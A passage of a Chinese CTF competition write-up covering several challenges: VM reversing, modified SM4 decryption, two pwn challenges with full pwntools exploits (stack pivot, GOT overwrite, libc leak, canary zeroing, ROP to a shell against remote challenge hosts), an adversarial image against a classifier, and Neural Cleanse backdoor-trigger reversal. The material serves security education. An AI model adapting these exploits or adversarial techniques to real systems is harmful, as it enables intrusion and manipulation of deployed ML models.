7, 0x301, 3, 0x6401, 0x1E01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x101, 3, 0x6801, 0x2901, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x201, 3, 0x7d01, 0x3401, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x301, 3, 0x3501, 0x3F01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x101, 4, 0x320101, 0x4B01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x201, 4, 0x320201, 0x5701, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x301, 4, 0x630301, 0x6301, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x101, 4, 0x630101, 0x6F01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x101, 4, 0x630101, 0x7B01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x201, 4, 0x660201, 0x8701, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x301, 4, 0x320301, 0x9301, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x101, 3, 0x2E01, 0x9E01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x201, 3, 0x3901, 0x0A901, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x301, 3, 0x3401, 0x0B401, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x101, 3, 0x6301, 0x0BF01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x201, 3, 0x3801, 0x0CA01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x301, 3, 0x3001, 0x0D501, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x201, 3, 0x3601, 0x0E001, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x105, 0x06E01, 0x0EA01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x205, 0x0DC01, 0x0F401, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x305, 0x31001, 0x0FE01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x101, 4, 0x2D0101, 0x10A01, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x201, 4, 0x620201, 0x11601, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x301, 4, 0x630301, 0x12201, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x105, 0x0CA01, 0x12C01, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x205, 0x18401, 0x13601, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x305, 0x18001, 0x14001, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x305, 0x33001, 0x14A01, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x205, 0x0c801, 0x15401, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x105, 0x06601, 0x15e01, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x305, 0x18001, 0x16901, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x205, 0x19401, 0x17301, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x305, 0x18001, 0x17d01, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x205, 0x19401, 0x18701, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x105, 0x0FA01, 0x19201, 0x0A, 0x1b601, 9, 2, 2, 2,
0x4301, 8, 0x6F01, 8,
0x6E01, 8, 0x6701, 8, 0x7201, 8, 0x6101, 8, 0x7401, 8, 0x7501,
8, 0x6C01, 8, 0x6101, 8, 0x7401, 8, 0x6901, 8, 0x6F01, 8,
0x6E01, 8, 0x7301, 8, 0x2101, 8, 0x0A01, 8, 0x0C, 0x5401,
8, 0x7201, 8, 0x7901, 8, 0x2C01, 8, 0x4101, 8, 0x6701, 8,
0x6101, 8, 0x6901, 8, 0x6E01, 8, 0x2101, 8, 0x0A01, 8, 0x0C]
并且可以分析出来各个函数对应的功能
这里有个小坑(防止直接读函数名硬猜),vm_and函数的实际功能是异或
接着分析opcode与各个函数对应的关系 即可手搓出解题脚本
print(chr(0x67-1),end='')
print(chr(0x6e-2),end='')
print(chr(0x64-3),end='')
print(chr(0x68-1),end='')
print(chr(0x7d-2),end='')
print(chr(0x35-3),end='')
print(chr((0x3201 | 1) >> 8),end='')
print(chr((0x3200 | 2) >> 8),end='')
print(chr((0x6300 | 3) >> 8),end='')
print(chr((0x6300 | 1) >> 8),end='')
print(chr((0x6300 | 1) >> 8),end='')
print(chr((0x6600 | 2) >> 8),end='')
print(chr((0x3200 | 3) >> 8),end='')
print(chr(0x2e-1),end='')
print(chr(0x39-2),end='')
print(chr(0x34-3),end='')
print(chr(0x63-1),end='')
print(chr(0x38-2),end='')
print(chr(0x30-3),end='')
print(chr(0x36-2),end='')
print(chr((0x6e) >> 1),end='')
print(chr((0xdc) >> 2),end='')
print(chr((0x310) >> 3),end='')
print(chr((0x2d00 | 1) >> 8),end='')
print(chr((0x6200 | 2) >> 8),end='')
print(chr((0x6300 | 3) >> 8),end='')
print(chr((0xca) >> 1),end='')
print(chr((0x184) >> 2),end='')
print(chr((0x180) >> 3),end='')
print(chr((0x330) >> 3),end='')
print(chr((0xc8) >> 2),end='')
print(chr((0x66) >> 1),end='')
print(chr((0x180) >> 3),end='')
print(chr((0x194) >> 2),end='')
print(chr((0x180) >> 3),end='')
print(chr((0x194) >> 2),end='')
print(chr((0xfa) >> 1),end='')
# flag{222cccf2-71b6-477b-bcea0f230e0e}
toys
-
题目就是很简单的栈溢出,但是发生在高版本libc中导致没有足够的gadget进行使用,所以这里需要进行栈迁移。并且题目中没有输出函数来输出我们输入的内容导致难以泄漏地址 -
但是很容易可以注意到这里的strlen函数就非常类似puts函数来使用,所以这里如果可以将strlen函数的got表中的内容修改为puts的plt表从而可以实现泄漏出其中的内容 -
但是实际操作会发现如果直接进行栈迁移到该got表位置会导致其他的内容被毁所以这里还需要将rsp给迁移到更高的地址,从而避免该内存中的重要内容不被修改 -
所以这里需要进行几次迁移,通过多次leave ret来保证我们在执行函数时rsp都处于高地址
最终可得exp
from pwn import *
elf = ELF('./pwn')
# r = process('./pwn')
r = remote('172.16.0.2', 9999)
libc = ELF('./libc.so.6')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
leave_ret = 0x00000000004012cd
fget_read = 0x00401274
puts_plt = 0x00401090
puts_addr = 0x40128C
got_addr = 0x00404000
strlen_got = 0x00404008
r.recvuntil(b'Data: ')
payload = flat(b'x00'*0x80, got_addr + 0x800, fget_read)
r.sendline(payload)
r.recvuntil(b'OK')
payload = flat(b'x00'*0x80, got_addr + 0x100, fget_read,
strlen_got + 0x80, fget_read, strlen_got + 0x98, puts_addr, strlen_got + 0x700, fget_read)
r.sendline(payload)
# gdb.attach(r, 'b*0x004012cd')
r.recvuntil(b'OK')
payload = flat([0], got_addr + 0x820, leave_ret,[0], got_addr + 0x830, leave_ret)
payload = payload.ljust(0x80, b'x00') + flat(got_addr + 0x810, leave_ret)
r.sendline(payload)
r.recvuntil(b'OK')
payload = flat(puts_plt)
r.sendline(payload)
# gdb.attach(r, 'b*0x004012cd')
r.recvuntil(b'OK!n')
libc_base = u64(r.recv(6).ljust(8, b'x00')) - 0x88540
print(hex(libc_base))
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + next(libc.search(asm("pop rdi; ret")))
r.recvuntil(b'OK!n')
payload = flat(b'x00' * 0x88, pop_rdi, bin_sh_addr, system_addr)
r.sendline(payload)
r.interactive()
和谐
writeup
使用 adb-decompiler 分析源码:
大概能分析出来是SM4,并且修改了密钥扩展部分。
直接写个脚本:
#include <stdio.h>
typedef unsigned long ull;
typedef unsigned int uint;
typedef unsigned char uchar;
static const uchar Sbox[16][16] = {
{0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05},
{0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99},
{0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62},
{0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6},
{0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8},
{0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35},
{0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87},
{0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e},
{0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1},
{0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3},
{0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f},
{0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51},
{0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8},
{0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0},
{0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84},
{0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48}
};
ull leftShift(ull x, int n) {
return (x << n) | (x >> (32 - n));
}
ull chr2int(uchar *chr) {
return (chr[0] << 24) | (chr[1] << 16) | (chr[2] << 8) | chr[3];
}
void int2chr(uchar *chr, ull x) {
chr[0] = (x >> 24) & 0xff;
chr[1] = (x >> 16) & 0xff;
chr[2] = (x >> 8) & 0xff;
chr[3] = x & 0xff;
}
uint transSboxInt(uint temp)
{
return Sbox[temp>>4][temp&0xf];
}
uint transSbox(uint temp) {
uint output = 0;
for (int i = 3; i > -1; i--) {
output = output << 8;
output = output | transSboxInt((temp >> (i * 8)) & 0xff);
}
return output;
}
uint keyTrans(uint temp) {
return temp ^ leftShift(temp, 13) ^ leftShift(temp, 23);
}
uint trans(uint temp) {
temp = transSbox(temp);
return temp ^ leftShift(temp, 2) ^ leftShift(temp, 10) ^ leftShift(temp, 18) ^ leftShift(temp, 24);
}
void keyExtention_new(uchar K[32], uint RK[32]) {
uint tk[36];
for (int i = 0; i < 4; i++) {
tk[i] = chr2int(K + 4 * i);
}
for (int i = 0; i < 32; i++) {
tk[i + 4] = tk[i + 1] ^ tk[i + 2] ^ tk[i + 3];
tk[i + 4] = transSbox(tk[i + 4]);
tk[i + 4] = keyTrans(tk[i + 4]);
tk[i + 4] = tk[i] ^ tk[i + 4];
RK[i] = tk[i + 4];
}
}
void sm4_encrypt_new(uchar *input, uchar *output, uchar *K) {
uint RK[32];
keyExtention_new(K, RK);
uint X[36];
for (int i = 0; i < 4; i++) {
X[i] = chr2int(input + 4 * i);
}
for (int i = 0; i < 32; i++) {
X[i + 4] = X[i + 1] ^ X[i + 2] ^ X[i + 3] ^ RK[i];
X[i + 4] = trans(X[i + 4]);
X[i + 4] = X[i] ^ X[i + 4];
}
for (int i = 0; i < 4; i++) {
output[4 * i] = (X[35 - i] >> 24) & 0xff;
output[4 * i + 1] = (X[35 - i] >> 16) & 0xff;
output[4 * i + 2] = (X[35 - i] >> 8) & 0xff;
output[4 * i + 3] = X[35 - i] & 0xff;
}
}
void sm4_decrypt_new(uchar *input, uchar *output, uchar *K) {
uint RK[32];
keyExtention_new(K, RK);
uint X[36];
for (int i = 0; i < 4; i++) {
X[35 - i] = chr2int(input + 4 * i);
}
for (int i = 31; i >= 0; i--) {
X[i] = X[i + 1] ^ X[i + 2] ^ X[i + 3] ^ RK[i];
X[i] = trans(X[i]);
X[i] = X[i + 4] ^ X[i];
}
for (int i = 0; i < 4; i++) {
output[4 * i] = (X[i] >> 24) & 0xff;
output[4 * i + 1] = (X[i] >> 16) & 0xff;
output[4 * i + 2] = (X[i] >> 8) & 0xff;
output[4 * i + 3] = X[i] & 0xff;
}
}
int main() {
uchar key[16] = {0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05};
uchar output[48] = {
24, 138, 76, 64, 151, 159, 65, 33, 3, 90, 97, 15, 62, 105, 82, 235,
77, 240, 241, 90, 84, 179, 185, 34, 158, 119, 185, 189, 120, 106, 13, 138,
17, 68, 255, 127, 234, 11, 218, 151, 82, 97, 25, 170, 100, 201, 253, 150,
};
uchar input[48] = {0};
for (int i = 0; i < 48; i++) {
output[i] = Sbox[output[i] / 16][output[i] % 16];
}
uchar output2[48] = {0};
for (int j = 0; j < 3; j++)
{
sm4_decrypt_new(output + j * 16, output2 + j * 16, key);
for (int i = 0; i < 16; i++) {
printf("%c", output2[j * 16 + i]);
}
}
printf("n");
return 0;
}
最后一串0是加密加上去的,需要去掉。
flag{4b4afff3-887b-47af-832f-3dcd6f1cfa89}
rogue_like
题目非常新颖,一共设置了三个关卡。
对于第一关,选手可以选择如下漏洞利用:
-
指定 libc
地址写8
字节0
-
指定 libc
地址写1
字节任意值 -
查看 /proc/self/maps
,获得大部分地址
对于第二关,选手可以选择如下漏洞利用:
-
增加指定地址上的值,最多为 5
-
增加指定地址上指向的值,最多为 5
-
无用功能
对于第三关,选手可以选择如下漏洞利用:
-
栈溢出 0x20
字节,但同时会close(0)
-
通过 write
输出栈上大量内容,但不存在栈溢出 -
栈溢出 rbp
一字节为0
,但能够read
两次
在第三关开始时,程序还会close(1)
,防止输出任何内容。
先说预期解:
-
通过第一关选择偏移将 tls
中的canary
置零 -
通过第二关选择指定地址 +5
,这里选择将alarm
偏移获得syscall
-
通过第三关选择栈上的 off-by-null
进行利用,从而rop
获得shell
注意,题目有多处可以leak
的打法,但本题由于需要进行漏洞的组合利用,选择leak
后,则无法组合出可以获得shell
的利用链。
例如,第一关可以选择查看/proc/self/maps
,但如此便无法覆盖canary
为0
,无法通过栈溢出利用。
又例如,第三关输出内容时会因为close(1)
的缘故,无法获得内容。
选手需要对栈上知识点进行综合利用。由于canary
保护开启,且最后第三关一定为栈溢出,则选手需要思考如下内容:
-
canary
的绕过方法 -
gadget
的寻找
通过如上思考,可知第一关一定选择tls
的canary
置零(不然没有别的办法栈溢出);第二关一定选择alarm
的got
表+5
,从而获得syscall
的gadget
;第三关一定选择两次read
的off-by-null
的栈溢出,从而能够控制rax
。
最后,选手应该通过如下方式完成系统调用:
-
rax
:通过read
控制 -
rdi
:通过程序gadget
的pop rdi; ret
获得 -
rsi
:同上 -
rdx
:同上 -
syscall
:通过alarm+5
获得 -
/bin/sh
:通过程序内字符串的偏移获得
最终的exp
如下:
from pwn import *
filename = './attachment'
context.arch='amd64'
context.log_level = "debug"
context.terminal = ['tmux', 'neww']
local = 0
all_logs = []
# elf = ELF(filename)
# libc = elf.libc
if local:
sh = process(filename)
else:
sh = remote('101.200.198.105', 20689)
def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid, params)
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
def weapon(index):
sh.sendafter('> ', '1')
time.sleep(1)
sh.sendafter('To achive your, your DrEaM🥹..!?n', str(index))
time.sleep(1)
def bless(count, addr):
sh.sendafter('> ', '2')
time.sleep(1)
sh.sendafter('> ', str(count))
time.sleep(1)
sh.sendafter('> ', str(addr))
time.sleep(1)
def challenge(content1, content2):
sh.sendafter('> ', '3')
time.sleep(1)
sh.send(content1)
time.sleep(1)
sh.send(content2)
time.sleep(1)
ret = 0x04007fe
pop_rdi = 0x4013f4
pop_rsi = 0x4013f6
pop_rdx = 0x4013f8
pop_rsp = 0x4013fa
bin_sh = 0x4019D7
syscall = 0x602058
weapon(-0x2b18)
bless('5', syscall)
payload1 = p64(ret)*0x16
rop_chain = p64(pop_rdi) + p64(bin_sh)
rop_chain += p64(pop_rsi) + p64(0)
rop_chain += p64(pop_rdx) + p64(0)
rop_chain += p64(pop_rsp) + p64(syscall)
payload1 = payload1 + rop_chain
payload1 = payload1.ljust(0x100, b'x00')
payload2 = b'a'*0x3b
challenge(payload1, payload2)
sh.sendline('exec 1>& 0')
time.sleep(1)
sh.sendline('cat /flag')
sh.interactive()
FlagBot
-
通过修改发送的数据包,导致flask报错,得到模型文件名 -
下载模型文件 -
使用得到的模型文件,以及文件名,制作对抗样本
from PIL import Image
from io import BytesIO
import torch
from torch import nn
from torchvision import transforms
from PIL import Image
import werkzeug.exceptions
class AlexNet(nn.Module):
def __init__(self, num_classes: int = 1000, dropout: float = 0.5) -> None:
super().__init__()
self.features = nn.Sequential(
nn.Conv2d(3, 64, kernel_size=11, stride=4, padding=2),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.Conv2d(64, 192, kernel_size=5, padding=2),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.Conv2d(192, 384, kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.Conv2d(384, 256, kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.Conv2d(256, 256, kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=3, stride=2),
)
self.avgpool = nn.AdaptiveAvgPool2d((6, 6))
self.classifier = nn.Sequential(
nn.Dropout(p=dropout),
nn.Linear(256 * 6 * 6, 4096),
nn.ReLU(inplace=True),
nn.Dropout(p=dropout),
nn.Linear(4096, 4096),
nn.ReLU(inplace=True),
nn.Linear(4096, num_classes),
)
def forward(self, x: torch.Tensor) -> torch.Tensor:
x = self.features(x)
x = self.avgpool(x)
x = torch.flatten(x, 1)
x = self.classifier(x)
return x
model = AlexNet(num_classes=2)
model.load_state_dict(torch.load('model_AlexNet.pth', map_location=torch.device('cpu'), weights_only=True))
model.eval()
image = torch.randint(0, 2, (1, 1, 300, 600)) / 1.0
image = torch.cat([image, image, image], dim=1)
criterion = nn.CrossEntropyLoss()
for _ in range(100000):
image.requires_grad = True
pred = model(image)
loss = criterion(pred, torch.tensor([1], dtype=torch.long))
loss.backward()
print(loss.item())
image.requires_grad = False
grad = torch.sum(image.grad, dim=1, keepdim=True)
for x in range(300):
for y in range(600):
if grad[0, 0, x, y] > 0:
image[0, :, x, y] = 0.
else:
image[0, :, x, y] = 1.
transforms.ToPILImage()(image[0].detach().cpu()).save('flag.png')
将图片base64编码后发送即可。
backdoor
主要考察的知识点是神经网络图像领域的后门攻击,目标是找出带后门的神经网络模型被污染的标签(target),并推演出攻击者留下后门时所使用的mask和trigger(也可以叫pattern)
相关算法有很多,可以参考复现这篇论文的算法:Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural Networks
详细信息:
{B. Wang et al., "Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural Networks," 2019 IEEE Symposium on Security and Privacy (SP), San Francisco, CA, USA, 2019, pp. 707-723, doi: 10.1109/SP.2019.00031.}
Github代码地址:https://github.com/bolunwang/backdoor
由于代码量较大,且涉及很多数据处理的代码,这里只放核心算法:
def visualize(self, gen, y_target, pattern_init, mask_init):
# since we use a single optimizer repeatedly, we need to reset
# optimzier's internal states before running the optimization
self.reset_state(pattern_init, mask_init)
# best optimization results
mask_best = None
mask_upsample_best = None
pattern_best = None
reg_best = float('inf')
# logs and counters for adjusting balance cost
logs = []
cost_set_counter = 0
cost_up_counter = 0
cost_down_counter = 0
cost_up_flag = False
cost_down_flag = False
# counter for early stop
early_stop_counter = 0
early_stop_reg_best = reg_best
# vectorized target
Y_target = to_categorical([y_target] * self.batch_size,
self.num_classes)
# loop start
for step in range(self.steps):
# record loss for all mini-batches
loss_ce_list = []
loss_reg_list = []
loss_list = []
loss_acc_list = []
for idx in range(self.mini_batch):
X_batch, _ = gen.next()
if X_batch.shape[0] != Y_target.shape[0]:
Y_target = to_categorical([y_target] * X_batch.shape[0],
self.num_classes)
(loss_ce_value,
loss_reg_value,
loss_value,
loss_acc_value) = self.train([X_batch, Y_target])
loss_ce_list.extend(list(loss_ce_value.flatten()))
loss_reg_list.extend(list(loss_reg_value.flatten()))
loss_list.extend(list(loss_value.flatten()))
loss_acc_list.extend(list(loss_acc_value.flatten()))
avg_loss_ce = np.mean(loss_ce_list)
avg_loss_reg = np.mean(loss_reg_list)
avg_loss = np.mean(loss_list)
avg_loss_acc = np.mean(loss_acc_list)
# check to save best mask or not
if avg_loss_acc >= self.attack_succ_threshold and avg_loss_reg < reg_best:
mask_best = K.eval(self.mask_tensor)
mask_best = mask_best[0, ..., 0]
mask_upsample_best = K.eval(self.mask_upsample_tensor)
mask_upsample_best = mask_upsample_best[0, ..., 0]
pattern_best = K.eval(self.pattern_raw_tensor)
reg_best = avg_loss_reg
# verbose
if self.verbose != 0:
if self.verbose == 2 or step % (self.steps // 10) == 0:
print('step: %3d, cost: %.2E, attack: %.3f, loss: %f, ce: %f, reg: %f, reg_best: %f' %
(step, Decimal(self.cost), avg_loss_acc, avg_loss,
avg_loss_ce, avg_loss_reg, reg_best))
# save log
logs.append((step,
avg_loss_ce, avg_loss_reg, avg_loss, avg_loss_acc,
reg_best, self.cost))
# check early stop
if self.early_stop:
# only terminate if a valid attack has been found
if reg_best < float('inf'):
if reg_best >= self.early_stop_threshold * early_stop_reg_best:
early_stop_counter += 1
else:
early_stop_counter = 0
early_stop_reg_best = min(reg_best, early_stop_reg_best)
if (cost_down_flag and
cost_up_flag and
early_stop_counter >= self.early_stop_patience):
print('early stop')
break
# check cost modification
if self.cost == 0 and avg_loss_acc >= self.attack_succ_threshold:
cost_set_counter += 1
if cost_set_counter >= self.patience:
self.cost = self.init_cost
K.set_value(self.cost_tensor, self.cost)
cost_up_counter = 0
cost_down_counter = 0
cost_up_flag = False
cost_down_flag = False
print('initialize cost to %.2E' % Decimal(self.cost))
else:
cost_set_counter = 0
if avg_loss_acc >= self.attack_succ_threshold:
cost_up_counter += 1
cost_down_counter = 0
else:
cost_up_counter = 0
cost_down_counter += 1
if cost_up_counter >= self.patience:
cost_up_counter = 0
if self.verbose == 2:
print('up cost from %.2E to %.2E' %
(Decimal(self.cost),
Decimal(self.cost * self.cost_multiplier_up)))
self.cost *= self.cost_multiplier_up
K.set_value(self.cost_tensor, self.cost)
cost_up_flag = True
elif cost_down_counter >= self.patience:
cost_down_counter = 0
if self.verbose == 2:
print('down cost from %.2E to %.2E' %
(Decimal(self.cost),
Decimal(self.cost / self.cost_multiplier_down)))
self.cost /= self.cost_multiplier_down
K.set_value(self.cost_tensor, self.cost)
cost_down_flag = True
if self.save_tmp:
self.save_tmp_func(step)
# save the final version
if mask_best is None or self.save_last:
mask_best = K.eval(self.mask_tensor)
mask_best = mask_best[0, ..., 0]
mask_upsample_best = K.eval(self.mask_upsample_tensor)
mask_upsample_best = mask_upsample_best[0, ..., 0]
pattern_best = K.eval(self.pattern_raw_tensor)
if self.return_logs:
return pattern_best, mask_best, mask_upsample_best, logs
else:
return pattern_best, mask_best, mask_upsample_best
详细代码已放置于解题文件夹中,根据model参数文件和提示的target_list调整代码,并运行"./解题/gtsrb_visualize_example.py",对测试标签列表逐个进行trigger逆向。
直接down下来的代码不能直接使用,还需要选手具备神经网络、keras、tensorflow框架相关知识把代码调通,本wp处提供的代码可以直接运行。
跑完之后,比对各个标签的输出信息(我这里自己额外保存了日志文件),会发现label 8的mask norm是最小的,它对应生成的后门mask和pattern最接近真实的后门:
生成出来的mask和pattern图片如下:
mask.png:
pattern.png:
然后执行exp脚本把这两张图base64编码后发送到服务器,通过校验,返回flag:
exp.py
import base64
import requests
# 读取图片并转换为base64编码
def image_to_base64(image_path):
with open(image_path, "rb") as image_file:
return base64.b64encode(image_file.read()).decode('utf-8')
# 图片路径
mask_image_path = './results/gtsrb_visualize_mask_label_8.png'
pattern_image_path = './results/gtsrb_visualize_pattern_label_8.png'
# 获取两张图片的base64编码
mask_base64 = image_to_base64(mask_image_path)
pattern_base64 = image_to_base64(pattern_image_path)
# 发送POST请求,将base64编码的图片传给服务端
url = 'http://127.0.0.1:5000/upload' # 服务端地址
data = {
'mask': mask_base64,
'pattern': pattern_base64
}
response = requests.post(url, json=data)
print(response.text)
相关阅读
原文始发于微信公众号(春秋伽玛):春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论